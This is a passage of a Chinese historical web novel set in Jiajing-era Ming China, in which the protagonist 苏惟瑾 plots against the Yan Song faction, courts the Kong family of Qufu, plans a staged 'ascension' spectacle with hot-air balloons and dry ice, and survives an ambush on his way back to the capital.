他是皇帝,是大明帝国最高权力的掌握者,是经历过“大礼议”血雨腥风、斗倒过杨廷和等老臣的权谋高手。
这样的人,潜意识里必然对一切异常保持警觉。
“药物依赖与权力警觉的矛盾……”苏惟瑾喃喃自语。
他在纸上画出两条曲线。
一条是“药物依赖度”,随时间上升,如今已到高点。
这意味着嘉靖需要更多丹药维持状态,停药就会产生戒断反应——焦虑、烦躁、甚至神智混乱。
另一条是“权力警觉度”,也在上升。
苏惟瑾这半年在东南的功绩太大,平倭、收琉球、灭邪教,手握重兵,深得民心。
任何一个皇帝面对这样的臣子,都会本能地产生忌惮。
更何况,还有人在煽风点火。
苏惟瑾睁开眼,提笔写下几个名字:严嵩、严世蕃、朱麟……
严嵩父子自不必说,这对权欲熏心的父子早就视自己为眼中钉。
成国公朱麟这类旧勋贵,则是因为自己整顿京营时触动了他们的利益——那些吃空饷、占军田的勾当,被自己揭了不少。
“趁我离京,向皇帝灌输‘功高震主’的恐慌……”苏惟瑾冷笑。
“老套路了。”
他继续推演。
嘉靖现在处于什么状态?
一方面,身体离不开丹药,而丹药的供应渠道——黑巫师集团被自己剿灭了。
虽然鹤岑提供了“清心丹”作为替代,但那只能缓解,不能完全满足药物依赖。
嘉靖会焦虑,会不安,会渴望更强烈的“仙感”。
另一方面,耳边不断有人提醒:苏惟瑾权势太盛了,他在东南经营基业,他在海外驻军,他年轻有为、深得军心民心……
这是要学曹操?
还是要做赵匡胤?
“药物渴求”与“权力恐惧”在嘉靖心中激烈碰撞。
苏惟瑾在纸上写下结论:
皇帝处于认知失调状态。
既依赖我提供的“修仙体系”(清心丹、鹤岑的“祥瑞”),又忌惮我的权势。
这种矛盾心理,会让他做出非理性决策——比如,听信谗言,准备打压我。
但嘉靖是聪明人。
他不会直接撕破脸,那样风险太大。
更可能的是……玩平衡术。
“扶持严党,制衡我。”苏惟瑾笔尖一顿,在“严嵩”二字上画了个圈。
“同时,用爵位、虚衔稳住我,实则逐步削权。”
这就是帝王心术。
给你荣耀,夺你实权;
捧你上天,断你根基。
舱外传来脚步声。
周大山推门进来,手里端着个托盘,上面是两碗热腾腾的鱼汤:“大人,厨子刚熬的,趁热喝。
这海上夜里冷,暖暖身子。”
苏惟瑾接过碗,热气扑面。
他喝了一口,鲜。
“大山,坐。”
周大山在对面坐下,看着桌上那些写满字的纸,挠头:“大人又在琢磨啥?”
“琢磨陛下在想什么。”苏惟瑾放下碗。
“你说,要是你是陛下,我立了这么大功,你会怎么赏我?”
周大山想都不想:“那还用说?
封侯!
赏银子!
给大宅子!”
“然后呢?”
“然后……然后就享福呗!”
苏惟瑾笑了:“享福?
陛下会让我‘享福’吗?
一个二十五岁就平定东南、收服属国、手握重兵的‘享福’侯爵?”
周大山一愣,慢慢品出味来:“大人是说……陛下会猜忌?”
“不是会,是已经在猜忌了。”苏惟瑾指了指桌上。
“芸娘信里说了,京中流言四起,严嵩在串联。
这些流言能传开,背后若是没有默许,可能吗?”
周大山脸色变了:“那……那咱们回去不是自投罗网?”
“所以得想个法子。”苏惟瑾眼神深邃。
“让陛下既放心,又离不开我。”
“咋做?”
这时,舱门又被推开。
苏惟虎和鹤岑走了进来。
两人显然也没睡,苏惟虎眼中带着忧色,鹤岑则神色凝重。
“大人,”苏惟虎坐下。
“刚收到信鸽,京城又有新消息。”
“说。”
“三天前,严嵩进宫面圣,密谈一个时辰。
出来时,据说脸色很好。
同日,都察院御史刘瑾上疏,**大人‘擅设海外兵镇,有割据之嫌’。
奏章留中不发,但……抄本已在京城流传。”
留中不发,却让抄本流传——这是典型的帝王平衡术。
既不明着支持**,又让苏惟瑾知道:有人在告你的状,朕在看着你。
鹤岑补充道:“贫道在宫中的眼线也报,陛下近日确实服丹愈频。
原先三日一丸,如今一日一丸,甚至有时一日两丸。
炼丹的邵元节被召见数次,据说在研制‘药效更强’的新丹。”
苏惟瑾听完,沉默片刻。
忽然,他笑了。
“想玩平衡术?
那我便给你一场更大的‘祥瑞’,让你心甘情愿钻进套中。”
三人齐声问:“什么祥瑞?”
苏惟瑾走到舱壁前,那里挂着一幅大明疆域图。
他的手指从月港出发,沿着海岸线向北移动,经过福州、温州、宁波……
最后停在一个地方。
山东,曲阜。
“这里,”他手指重重点在曲阜的位置。
“有掌控天下**的关键钥匙:孔家。”
鹤岑眼睛一亮:“衍圣公府!”
“不错。”苏惟瑾转身。
“孔子嫡系后裔,衍圣公孔贞干。
天下读书人的精神领袖,朝廷教化万民的象征。
如果连孔家都为我说话,那些‘功高震主’的流言,还能站得住脚吗?”
苏惟虎却皱眉:“大人,孔家向来不参与朝争,只守圣贤书。
他们会帮咱们?”
“不参与朝争,是因为利益不够大。”苏惟瑾淡淡道。
“孔家看似超然,实则也有烦恼。
朝廷给的祭田虽多,但孔氏族人繁衍,开支日增。
更关键的是——严嵩去年提议削减孔庙祀银,说是‘国库空虚,宜减虚费’。
这笔账,孔家可记着呢。”
周大山听得云里雾里:“大人,俺听不懂这些。
您就说,咱们要干啥?”
“改道。”苏惟瑾斩钉
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截铁。
“不回月港了,直接北上,去山东登州。
从那里走陆路去曲阜。”
“去曲阜干啥?”
“送礼。”苏惟瑾眼中闪过精光。
“送一份孔家无法拒绝的大礼。”
他走回书案,铺开纸笔,开始写清单。
第一项:白银五万两。
不是给衍圣公个人的,是“捐修孔庙、资助族学”的善款。
第二项:南洋紫檀木十根、鸡翅木二十根。
用来重修大成殿的梁柱。
第三项:琉璃瓦五千片、青砖两万块。
曲阜孔庙年久失修,这笔建材,正好解燃眉之急。
第四项:也是最重要的——在月港划出五十亩地,建“曲阜孔氏南洋书院”,请孔家派子弟主持,所有费用由“云裳阁”承担。
“这……”鹤岑看完清单,倒吸一口凉气。
“伯爷,这份礼太重了!”
“重,才显得诚。”苏惟瑾放下笔。
“孔家要钱,我给钱;
要名,我给名——南洋书院的主持,够不够清贵?
要实利,月港五十亩地,将来做贸易中转,一年收益不下万两。”
他顿了顿,声音低了些:“而且,我听说衍圣公孔贞干的嫡长孙,去年得了怪病,太医院束手无策。”
鹤岑眼神一动:“伯爷的意思是……”
“国师,”苏惟瑾看向他。
“你精通医术,又擅‘祈福’。
到了曲阜,若能治好孔家长孙的病……”
“那孔家便欠了天大的人情。”鹤岑抚掌。
“妙!
治病救人,乃是积德行善,衍圣公感激之下,为伯爷说几句好话,合情合理!”
苏惟虎却还有顾虑:“大人,咱们这么明目张胆结交孔家,陛下会不会更忌惮?”
“所以需要个由头。”苏惟瑾早想好了。
“回京途中,‘顺路’拜谒孔庙,乃是臣子本分。
恰逢孔庙年久失修,捐献修缮,是敬仰圣贤。
偶遇孔家长孙患病,出手相救,是医者仁心——一切都是巧合,一切都是天意。”
他走到窗前,推开舷窗。
夜风吹进来,带着海腥味。
远处,海天交界处已泛起一线微光。
天快亮了。
“严嵩想用朝堂流言打压我,我就用天下**反制他。”苏惟瑾望着那线光。
“读书人信孔孟,百姓信天意,皇帝信祥瑞——那我就给他们一场‘孔府显灵,天佑功臣’的大戏。”
他转身,对周大山道:“传令,船队改向东北,直奔登州。”
“苏惟虎,你准备礼品单子,到了登州立刻采买。”
“国师,你准备一下‘祈福治病’的一应器物。”
三人领命而去。
舱内又剩下苏惟瑾一人。
他重新坐回书案前,看着那张写满分析的纸。
嘉靖帝的矛盾心理,严党的蠢蠢欲动,孔家的潜在价值……
所有线索在超频大脑中交织、重组,形成一张清晰的棋局图。
“陛下,”苏惟瑾轻声自语。
“您想玩平衡,我就陪您玩。
不过这次……棋子要按我的规矩走了。”
他吹灭蜡烛。
舱内陷入黑暗,只有舷窗外透进的微光,勾勒出他挺拔的身影。
船身轻轻摇晃,是船队正在转向。
新的航程,开始了。
苏惟瑾改道曲阜,欲借孔家之力抗衡朝中流言。
但衍圣公府真的会如他所愿吗?
严嵩在朝中经营多年,难道在孔家没有眼线?
更蹊跷的是,在船队转向后不久,一只信鸽从旗舰上悄然起飞,却不是往京城方向——而是飞向山东济南。
那里,是山东布政使司所在地。
而山东布政使李默,正是严嵩的门生。
这封密信是谁发出的?
内容又是什么?
海上的棋局刚刚布下,陆上的暗箭已悄然上弦。
苏惟瑾的曲阜之行,究竟是破局妙手,还是自投罗网?
第386章 夜谈定三策,瑾布回京棋
月港的冬夜,海风里都带着咸湿气。
码头上灯火零星,只有几艘晚归的渔船还在卸货。
苏府后宅的书房里,灯却亮到子时。
苏惟瑾披着件藏青色的鹤氅,坐在书案后头。
案上堆着厚厚几摞文书,左手边是琉球之战的军功册,右手边是月港这半年的商税账本。
烛火一跳一跳,映得他眼下有些发青——连着三天没睡囫囵觉了。
“吱呀”一声,门被推开。
周大山先探进个脑袋,黝黑的脸膛在烛光下泛着油亮:“大人,俺来了。”
后头跟着苏惟虎、鹤岑老道,还有胡三。
五人把书房挤得满满当当,胡三顺手带上门,又从怀里掏出个小布包,在门缝、窗沿撒了圈粉末——防人偷听的**湖手段。
“坐。”苏惟瑾指了指旁边的椅子,自己先端起茶盏抿了一口,茶早凉了,他也不在意。
周大山一屁股坐下,椅子“嘎吱”响:“大人,这么急叫俺们来,出啥事了?”
“回京的事。”苏惟瑾放下茶盏,目光扫过众人,“腊月二十五启程,走陆路,赶在年三十前进京。
这一路,不会太平。”
苏惟虎皱眉:“严嵩还敢派人截杀?”
“他没那么蠢。”苏惟瑾摇头,“明刀明枪不敢,但沿途州县的‘招待’,恐怕不会让咱们舒坦。
驿馆住满,粮草‘延误’,马匹‘生病’——这些手段,够咱们耽搁十天半个月。
等咱们到京,黄花菜都凉了。”
鹤岑捻须:“伯爷的意思是……”
“所以今晚,得把回京后的棋,先摆明白了。”苏惟瑾说着,从案下取出卷羊皮纸,铺开。
纸上密密麻麻写着人名、官职、还有箭头连线,乍看像蜘蛛网。
周大山瞪眼看了半天,挠头:“大人,这都啥跟啥?”
“京城的棋盘。”苏惟瑾手指点在纸中央,“咱们现在在这儿——靖海伯,平倭功臣,手握重兵。
陛下用咱们,但也防着咱们。
朝中文官,尤其严党,恨不得咱们明天就暴毙。
勋贵那边,郭勋虽倒,但武定侯府经营几十年,关系网还在,剩下的勋贵们兔死狐悲,对咱们又忌又恨。”
他顿了顿,声音沉下来:“一句话,咱们现在是众矢之的。”
书房里安静下来。
窗外传来更夫敲梆子的声音,三更天了。
胡三啐了一口:“**,这仗白打了?”
“没白打。”苏惟瑾忽然笑了,那笑容里透着冷,“正因为仗打赢了,咱们才有资格坐在这儿谈怎么下棋。
要还是当年那个七品翰林,谁跟你下棋?
直接碾死罢了。”
他手指在羊皮纸上画了个圈:“回京后,我准备走三步棋——上、中、下三策,环环相扣。”
上策:温水煮蛙
“这第一策,叫‘以退为进’。”苏惟瑾看向周大山,“大山,回京后,我会主动上奏,把福建水师的指挥权交还兵部。”
“啥?”周大山差点蹦起来,“大人!
那可是咱们拿命拼来的!”
“急什么。”苏惟瑾摆手,“只是名义上交还。
水师的将领,七成是咱们的人;
月港的基地,归新设的‘海防司’管,提举是惟奇;
战船的维修、补给,都在咱们控制的船厂。
兵部拿个空头指挥权,能干什么?
调兵?
将领不听他的。
调船?
船在咱们手里修着,说‘坏了’,他能怎样?”
苏惟虎眼睛亮了:“这是……明放暗收?”
“对。”苏惟瑾点头,“陛下见我主动放权,会觉得我识大体,没野心。
严党见我‘自断臂膀’,**的劲头也会减三分。
至于实际控制权——”他冷笑一声,“还在咱们手里。”
鹤岑抚掌:“妙!
此乃《道德经》中‘将欲取之,必固与之’!”
“还有,”苏惟瑾继续道,“勋贵那边,用钱砸。
云裳阁今年在月港赚了多少?”
胡三立马报数:“刨去各项开支,净利二十八万七千两。
丝绸、瓷器走琉球转口到日本,利润翻了四倍。”
“拿出十万两,”苏惟瑾手指敲着桌面,“回京后,以‘海贸入股’的名义,拉几个边缘勋贵入伙。
英国公张家、成国公朱家,这些老牌勋贵看不上,但那些三四流的伯爵、侯爵,一年俸禄才多少?
分他们一杯羹,他们立马倒戈。”
苏惟虎迟疑:“可这不是养虎为患?”
“虎?”苏惟瑾笑了,“一群馋肉的猫罢了。
给他们肉吃,他们就冲你摇尾巴。
等咱们根基稳了,随时能把肉收回来。”
中策:**控心
“第二策,攻心。”苏惟瑾神色严肃起来,“陛下如今最大的心病是什么?
修仙!
严嵩、邵元节这些人,为什么能得宠?
因为他们给陛下造梦——长生梦、飞升梦。”
周大山撇嘴:“那都是骗人的!”
“对,是骗人。”苏惟瑾目光深邃,“但天下人信这个梦。
尤其是读书人——孔圣人说‘敬鬼神而远之’,可没说‘不信鬼神’。
历代儒生,哪个不盼着‘天人感应’?”
他看向鹤岑:“国师,曲阜孔家,如今当家的还是衍圣公孔闻韶?”
“正是。”鹤岑点头,“孔闻韶年过六旬,膝下两子,长子孔贞干,次子孔贞宁。
孔家表面清贵,实则这些年朝廷赏赐的祭田,被地方豪强侵占不少,日子也紧巴。”
“那就好办了。”苏惟瑾从案头抽出一份早已拟好的文书,“这是我以‘靖海伯’名义写的《请修孔庙疏》。
陛下不是想修仙吗?
咱们换个说法——这不叫修仙,叫‘参悟天人之道’,是儒家‘内圣外王’的最高境界。
请陛下御笔题匾,赐孔庙‘天人感应’四字,再拨银五万两修缮。
孔家得了实惠,自然要替陛下‘背书’。”
鹤岑倒吸一口凉气:“伯爷这是要……借圣人之口,正陛下修仙之名?”
“不止。”苏惟瑾眼神锐利,“还要让天下读书人觉得,陛下不是在胡闹,是在‘践行圣道’。
等**造起来,严嵩、邵元节那套‘炼丹服饵’的低级把戏,就显得落伍了。
到时候,咱们再推出更高明的——”
他顿了顿,从抽屉里取出一卷图纸,缓缓展开。
下策:技术降维
图纸上是密密麻麻的线条、标注。
周大山凑过去看,眼都花了:“这……这画的啥?
大灯笼?”
“差不多。”苏惟瑾指着图纸,“这叫‘热气球’。
原理简单——加热空气,密度变小,就能升空。
用上好的丝绸做球囊,竹篾编篮,下置火炉。
若是在西苑演武场放一个,载着人缓缓升空……”
书房里所有人都屏住了呼吸。
鹤岑老道手指颤抖:“这、这岂不是……飞天?”
“还有这个,”苏惟瑾又翻出一页,上面画着些瓶罐装置,“干冰——就是固态的‘阴气’,制法我写了。
此物遇热迅速化气,能生白雾,铺在地上如云海。
再配合特制的烟花、光影……”
他抬起头,烛火在眼中跳跃:“待时机成熟,咱们为陛下打造一场前无古人的‘飞升大典’。
热气球载人升空,地面干冰造云,烟花绽如星河——届时陛下站在‘云端’,俯视百官万民,那感觉……”
“神仙也不过如此!”胡**口而出,说完赶紧捂嘴。
苏惟瑾笑了:“对。
等陛下体验过咱们造的‘仙境’,邵元
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节那些吞丹吐气的把戏,还入得了眼吗?
这第三策,我称之为‘技术降维’——用他们听不懂、看不懂的东西,碾压他们那套装神弄鬼。”
书房里一片死寂。
周大山张着嘴,半天合不拢。
苏惟虎额头冒汗。
鹤岑老道捻须的手停在半空,眼中尽是震撼。
良久,鹤岑长叹一声:“伯爷此三策……温水煮蛙,稳权柄;
**控心,正名分;
技术降维,夺圣宠。
环环相扣,步步为营,真乃……仙家手笔!”
苏惟瑾却摇头:“计是好计,但一步错,满盘输。
所以回京后,每个人都要动起来。”
他看向周大山:“大山,你首要任务——以‘整顿京营、护卫圣驾’为名,把虎贲营扩至五千人。
全部换装格物学堂新研制的燧发火铳,三个月内,我要看到一支能**京城的精兵。”
“得令!”周大山挺胸。
“惟虎,”苏惟瑾转向苏惟虎,“你秘密回格物学堂,抽调最可靠的工匠,按这图纸研制热气球和干冰装置。
地方选隐蔽些,银子从云裳阁支,要多少给多少。”
苏惟虎重重点头:“大人放心,我亲自盯着。”
“胡三爷,”苏惟瑾又看向胡三,“你的情报网要动起来。
严党、勋贵、宫里、甚至锦衣卫旧部,我要知道他们每天见了谁、说了什么、收了多少钱。
特别是邵元节——他那些丹药从哪来的,炼制的人是谁,必须查清楚。”
胡三咧嘴:“公子放心,俺那些老鼠麻雀,可不是白养的。”
最后,苏惟瑾看向鹤岑:“国师,陛下那边,就劳您多费心了。
清心丹继续送,但要慢慢减量——让陛下觉得是自己‘修为精进’,不再依赖外丹。
另外,适时透露些‘天有异象,圣人将出’的谶语,为咱们的‘飞升大典’铺路。”
鹤岑躬身:“贫道明白。”
一切安排妥当。
苏惟瑾长舒一口气,靠在椅背上,揉了揉眉心。
窗外,海风渐大,吹得窗纸哗哗响。
周大山忍不住问:“大人,那……咱们什么时候开始搞那个‘飞升大典’?”
“不急。”苏惟瑾望着跳动的烛火,“先让严党蹦跶几天。
等他们把‘苏惟瑾功高震主’的调子唱足了,等陛下被他们吵得心烦了,等朝野都觉得我这个靖海伯要倒霉了——那时候,咱们再放出‘天降祥瑞,陛下得道’的消息,把热气球往天上一放……”
他笑了笑,没往下说。
但众人都懂了。
那时候,就是彻底翻盘的时候。
四更梆子响时,众人散去。
苏惟瑾独自坐在书房里,又摊开那张羊皮纸,在角落处添了几个名字——都是琉球卷宗里发现的那份密名单上的。
名单后面标的数字,他这三天破译出来了:是日期。
嘉靖十四年三月初七、五月十九、八月二十一……
“一年三次,”苏惟瑾喃喃自语,“这些人,到底要在这些日子做什么?”
他把名单折好,塞进怀中。
正要熄灯,忽然听见窗外极轻微的“嗒”一声——像是石子落地的声音。
苏惟瑾动作一顿,吹熄蜡烛,悄步移到窗边。
借着月光,他看到院墙根下有道人影一闪而过,快得像鬼。
不是胡三的人。
胡三手下没这么利落的身手。
苏惟瑾站在黑暗中,眼神慢慢冷下来。
看来,有人已经等不及他回京了。
三策已定,回京在即,但院中神秘人影是谁派来的?
琉球密名单上的日期,到底藏着什么阴谋?
更蹊跷的是,苏惟瑾忽然想起——名单上有个名字,曾在三年前的一桩旧案中出现过,而那桩案子牵扯的,竟是辽东女真……
第387章 登陆胶州湾,瑾会旧门生
腊月二十二的胶州湾,冻得人直跺脚。
北风从海面上刮过来,带着冰碴子似的,吹在脸上生疼。
码头上挑夫们缩着脖子搬运货物,嘴里哈出的白气混着粗话,在冷空气里凝成团。
“靖海号”没进主港,泊在湾子东侧的备用锚地。
船上降了旗,帆也收了七成,远远看去跟寻常商船没两样——这是苏惟瑾的意思。
大张旗鼓回京?
那是给沿途州府敲锣打鼓送**材料。
“公子,船备好了。”
苏惟奇从舷梯上来,搓着手说。
他换了身靛蓝棉袍,外罩羊皮坎肩,打扮得像个小掌柜。
这三年在月港历练,当年那个书童早脱了稚气,眉宇间透着精明。
苏惟瑾披着件灰鼠皮斗篷,站在船头眺望岸上。
胶州城依山傍海,城墙在冬日天色里显得灰扑扑的。
城门口排着长队,都是赶着年前进城的百姓。
“走。”他收回目光,转身下船。
小舟靠岸的地方是个渔村,叫石臼所。
几十户人家,屋顶上压着厚厚的雪,烟囱冒着青烟。
几个半大孩子蹲在岸边看船,鼻涕冻成冰溜子。
胡三先跳上岸,往四周扫了眼,压低声音:“公子,有人盯着。”
苏惟瑾不动声色:“几个?”
“左边槐树下两个,装成卖柴的,柴捆子都没解开——谁大冷天在这儿卖柴?
右边茶馆二楼窗户开条缝,反光。”胡三咧嘴,“手法挺糙,济南府那帮人的路数。”
“让他们盯。”苏惟瑾抬脚往村里走,“咱们找的是教书先生,又不是**。”
三人穿过渔村,在村口雇了辆骡车。
车把式是个五十来岁的老汉,姓刘,话多:“三位爷去即墨县?
那可是好地方!
孔圣人当年还去过哩!
县学里供着圣像,香火旺着嘞!”
苏惟瑾坐在车里,随口搭话:“听说即墨县学有位姓孔的教谕?”
“孔教谕?”刘老汉甩了下鞭子,“您说孔闻韶孔先生?
那可是好人!
学问好,脾气也好,就是……唉,命不好。”
“怎么说?”
“他是圣人后裔不假,可听说跟曲阜那边闹掰了,被发配到咱这穷地方。”刘老汉压低声,“去年县里王大户强占李寡妇的地,闹到县衙,县令收了钱要断给王家。
孔教谕愣是在衙门口跪了半个时辰,把《大明律》《圣谕广训》一条条背出来,把县令臊得没脸,这才改了判。”
苏惟瑾眼中闪过一丝笑意。
还是那个脾气。
骡车吱呀呀走了两个时辰,晌午时分进了即墨县城。
县城不大,但年关将近,街上颇为热闹。
卖年画的、扯红布的、宰猪杀羊的,吆喝声此起彼伏。
空气中飘着炸丸子的油香和鞭炮的**味。
车在县学门口停下。
苏惟瑾抬头看——门脸不大,匾额上的“即墨县学”四字漆都剥落了,门口石狮子缺了只耳朵。
门房里出来个老头,抄着手问:“找谁?”
苏惟瑾拱手:“请问孔闻韶孔教谕可在?”
“孔教谕?”老头打量三人,“在后院西厢。
您几位是……”
“故人。”苏惟瑾让苏惟奇递过去一钱碎银,“劳烦通禀一声,就说沭阳故人来访。”
老头接了银子,脸上堆起笑:“您稍等!”
不多时,后院传来急促的脚步声。
门帘一掀,出来个中年书生。
这人瘦得跟竹竿似的,青布直裰洗得发白,袖口打着补丁。
脸倒是清癯,三缕胡须收拾得整齐,只是眼窝深陷,透着疲惫。
正是孔闻韶。
他看到苏惟瑾,先是一愣,揉了揉眼睛,再定睛一看,整个人僵住了。
“苏……苏先生?”孔闻韶声音发颤。
苏惟瑾笑了:“闻韶,别来无恙。”
“真是您!”孔闻韶眼圈瞬间红了,紧走几步要行大礼,被苏惟瑾扶住。
“进去说。”
西厢房简陋得让人心酸。
一张木板床,被褥单薄;
一张书桌,堆满学生课业;
墙角堆着半筐炭,一看就是劣质货,烧起来满屋烟那种。
唯一显眼的是墙上挂的字——“养天地正气,法古今完人”,落款是孔闻韶。
“让先生见笑了。”孔闻韶手忙脚乱地找杯子倒水,发现茶壶是空的,尴尬地站在那儿。
苏惟瑾按住他肩膀:“坐。
惟奇,去弄点热食来。”
苏惟奇应声出去。
胡三守在门口,像尊门神。
屋里只剩两人。
孔闻韶搓着手,激动得语无伦次:“学生……学生在《邸报》上看到先生的事迹了!
平倭、收琉球、封靖海伯……
沭阳的父老都说,咱们县出了条真龙!
当年在县学,学生就知道先生非池中之物……”
“好了好了。”苏惟瑾摆摆手,打量着他,“你这日子,过得清苦啊。”
孔闻韶苦笑:“教谕俸禄微薄,一年四十五石米,折银不到三十两。
家里还有老母妻儿,能糊口就不错了。”
“以你的才学,早该中举入仕。”苏惟瑾皱眉,“当年在沭阳,你可是县学头名。”
这话戳到痛处。
孔闻韶沉默半晌,长叹一声:“先生有所不知。
学生这副圣人后裔的皮囊,是荣耀,也是枷锁。”
他起身走到窗边,望着院中枯树:“曲阜孔府,北宗嫡系,世代衍圣公。
我们这一支是南宗,祖上在南宋时迁到衢州,后来分支散落各地。
按族谱,我是孔子六十二代孙,论辈分,现任衍圣公孔贞干还得叫我一声叔祖。”
苏惟瑾静静听着。
“可那有什么用?”孔闻韶转回身,眼中尽是苦涩,“嘉靖八年,我曾去曲阜祭祖,想重修族谱,把南宗这一脉归进去。
您猜怎么着?
孔府管事开口就要五百两‘归宗银’。
我说拿不出,他们便说‘穷酸别来攀亲’。”
他越说越激动:“这还不算。
这些年,孔府在山东横行到什么地步?
强占民田,光是祭田就扩了三万亩!
包庇讼案,族中子弟**都能压下去!
私设刑堂,动辄对佃户施以鞭刑!
去年兖州府大水,朝廷拨的赈灾粮,有三成被孔府截留,转手高价卖给灾民!”
苏惟瑾眼神冷下来:“官府不管?”
“管?”孔闻韶惨笑,“历任山东巡抚、布政使,哪个上任不去孔府拜码头?
衍圣公一句话,能让你政绩全无。
更别说,孔府如今跟严阁老家结了亲——孔贞干的妹妹,嫁给了严嵩的侄子严世文。
这层关系在,谁敢动?”
屋里安静下来。
炭盆里劣炭噼啪作响,冒出呛人的烟。
这时苏惟奇提着食盒进来,一一摆开:酱牛肉、烩三鲜、白面馒头,还有壶烫好的黄酒。
“先吃饭。”苏惟瑾示意。
孔闻韶看着满桌菜肴,喉结滚动,但还是坐下:“让先生破费了。”
三杯酒下肚,话匣子彻底打开。
孔闻韶这些年憋屈坏了,从孔府欺压百姓说到族中**,从科举被排挤说到教学艰难。
说到最后,这个四十岁的汉子竟红了眼眶:“先生,他们眼里只有权势金银,早忘了圣贤教诲!
《论语》说‘修己以安百姓’,他们修的是什么己?
安的又是什么百姓?”
苏惟瑾静静听着,超频大脑飞速运转,把所有信息分门别类——哪些能当证据,哪些能制造**,哪些能致命一击。
等孔闻韶说完,他才缓缓开口:“闻韶,若给你个机会,整顿孔氏,清理门户,你敢不敢?”
孔闻韶一愣:“先生的意思是……”
“我要动孔府。”苏惟瑾语气平淡,却字字千钧,“但不是硬碰硬。
他们不是仗着圣人后裔、清流领袖的身份吗?
那我就从内部攻破——找个更正统、更清廉的孔氏子孙,取而代之。”
孔闻韶手一抖,酒杯差点掉地上:“您……您是说……”
“你。”苏惟瑾直视他,“南宗嫡脉,六十二代孙,论辈分高于孔贞干。
为官清廉,教书育人,有民望。
若能拿到孔府罪证,联合山东受害百姓、正直官员,再请陛下圣裁——你说,衍圣公这个位置,该谁坐?”
孔闻韶呼吸急促起来,脸涨得通红。
他猛地站起,在屋里转了两圈,又坐下,又站起。
“先生,这……这事太大了……”
“是很大。”苏惟瑾抿了口酒,“所以问你,敢不敢。”
屋里静得能听见心跳。
炭火噼啪,窗外传来县学里孩童的读书声:“大学之道,在明明德,在亲民,在止于至善……”
孔闻韶忽然笑了,笑中带泪:“学生这些年,读圣贤书,教圣贤书,却眼睁睁看着圣人家族堕落。
每夜扪心自问,愧对先师。
今日先生给学生指了条路——一条或许能涤荡污浊、光复门楣的路。”
他深吸一口气,整理衣冠,退后三步,对着苏惟瑾恭恭敬敬跪下,叩首:“学生孔闻韶,愿为伯爷效死!”
三个响头,磕得实实在在。
苏惟瑾扶起他
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:“不必如此。
此事成,你执掌孔府,整顿门风,也是为天下读书人立个表率。
事若不成——”
“事若不成,学生一肩担之,绝不牵连先生!”孔闻韶斩钉截铁。
“好。”苏惟瑾从怀中取出份名单,“这些是云裳阁查到的、受过孔府欺压的百姓、士绅名单。
你暗中联络,收集证词、证据。
记住,要实据,人证物证俱全。”
孔闻韶双手接过,如获至宝。
“另外,”苏惟瑾又道,“明年开春,陛下可能会南巡祭孔。
这是机会。
我会安排你在适当时机‘偶遇’圣驾,陈奏孔府之弊。
但前提是——你的证据要硬到陛下不得不办。”
“学生明白!”
正事谈完,气氛轻松了些。
孔闻韶这才想起问:“先生这是要回京?”
“嗯,腊月三十前要到。”苏惟瑾顿了顿,“沿途不太平,所以改道从山东走。”
孔闻韶犹豫了下,低声道:“先生,学生前日去济南府送文书,听学政衙门的书吏说……严阁老的人已经到了山东,正四处搜集您‘擅权跋扈’的材料。
特别是月港海防司的账目,他们盯得很紧。”
苏惟瑾笑了:“让他们查。
月港的账,每一笔都清清楚楚。”
“还有,”孔闻韶声音更低了,“听说孔府那边,跟严家的人来往密切。
学生有个族侄在孔府当账房,前日偷偷传信,说府里最近支了一大笔银子,五千两,用途不明。
但时间……正好是先生船队抵达胶州湾的前三天。”
苏惟瑾眼中寒光一闪。
五千两?
买凶?
还是贿赂沿途官员?
他想起那晚书房窗外的人影。
“知道了。”苏惟瑾起身,“我该走了。
你这边万事小心,联络用云裳阁在即墨的绸缎庄——掌柜姓赵,说‘沭阳旧友’他便明白。”
“学生送先生。”
出了县学,天色已暗。
街上挂起了灯笼,年味愈浓。
骡车往回走时,胡三凑过来低语:“公子,尾巴还跟着。
要不要……”
“不用。”苏惟瑾望着车外灯火,“让他们跟。
正好看看,他们到底想干什么。”
车到石臼所渔村时,天已黑透。
海风呼啸,浪拍礁石。
小舟还泊在原处。
三人正要上船,忽然从礁石后闪出七八条黑影,手里都拎着家伙。
为首的是个疤脸汉子,咧嘴笑:“三位爷,这大冷天的,借点盘缠花花?”
胡三嗤笑:“劫道劫到这儿来了?
也不打听打听这是谁的地界。”
“老子管你是谁的地界!”疤脸汉子一挥手,“上!”
黑影扑来。
胡三不退反进,身形如鬼魅般一闪,只听“咔嚓”“哎哟”几声,冲在最前的三人手腕全折了,兵器落地。
苏惟瑾站在原地没动。
苏惟奇挡在他身前,手里多了柄短刀。
疤脸汉子脸色一变:“练家子?
弟兄们,动真格的!”
剩下几人从怀里掏出短**,**箭在月光下泛着蓝光——淬了毒。
胡三眼神冷了:“玩儿阴的?”
他正要动手,苏惟瑾忽然开口:“三爷,留活口。”
话音未落,礁石后突然又窜出十几人,黑衣蒙面,动作极快,瞬间将疤脸汉子一伙反包围。
为首的黑衣人抱拳:“伯爷,属下奉周将军令,沿途护卫。”
是虎贲营的暗哨。
疤脸汉子见状,知道栽了,咬牙就要咬破衣领毒囊。
黑衣人手更快,卸了他下巴,搜出毒囊。
“带回去审。”苏惟瑾看了眼那些短**,“制式军**,不是寻常匪类能用上的。”
他转身上船,心中冷笑。
五千两银子?
就雇了这群货色?
看来有人,是真急了。
孔闻韶这条线埋下,内应已得。
但孔府与严嵩勾结之深,超出预期——那五千两银子究竟买了什么?
更蹊跷的是,虎贲营暗哨为何出现得如此及时?
周大山的信五日前才从月港发出,按说暗哨不该这么快到山东……
除非,有人早就料到沿途有险,提前布局。
而礁石后那批黑衣人,行动时彼此配合默契得惊人,根本不像是临时调来的护卫队。
苏惟瑾站在船头,望着漆黑海面,忽然想起离京前芸娘那封信中的一句话:“陆清晏前日来访,言其兄旧部有异动,妾已命人暗中留意。”
陆炳的旧部……
在这盘棋里,又扮演着什么角色?
第388章 曲阜暗潮涌,孔府宴无好
腊月二十四,曲阜城飘起了细雪。
这雪下得黏糊,落地就化,把青石板路弄得湿漉漉的。
城门楼上“万仞宫墙”四个大字,在雪雾里若隐若现,透着一股子千年沉淀的威压。
苏惟瑾的马车从东门进城,没打旗号,只带了胡三和苏惟奇。
车轮碾过石板,发出单调的咕噜声。
街上行人不多,偶有几个缩着脖子赶路的,瞥见这辆不起眼的青帷马车,也没多看一眼。
只有城门角落里,一个卖炊饼的老汉多盯了两眼,等马车走远,悄没声地收了摊。
“公子,”胡三在车辕上低声道,“进城就有人盯梢,前后三拨。
一拨是城门兵,一拨像衙役,还有一拨……穿得普通,脚步轻得很,是练家子。”
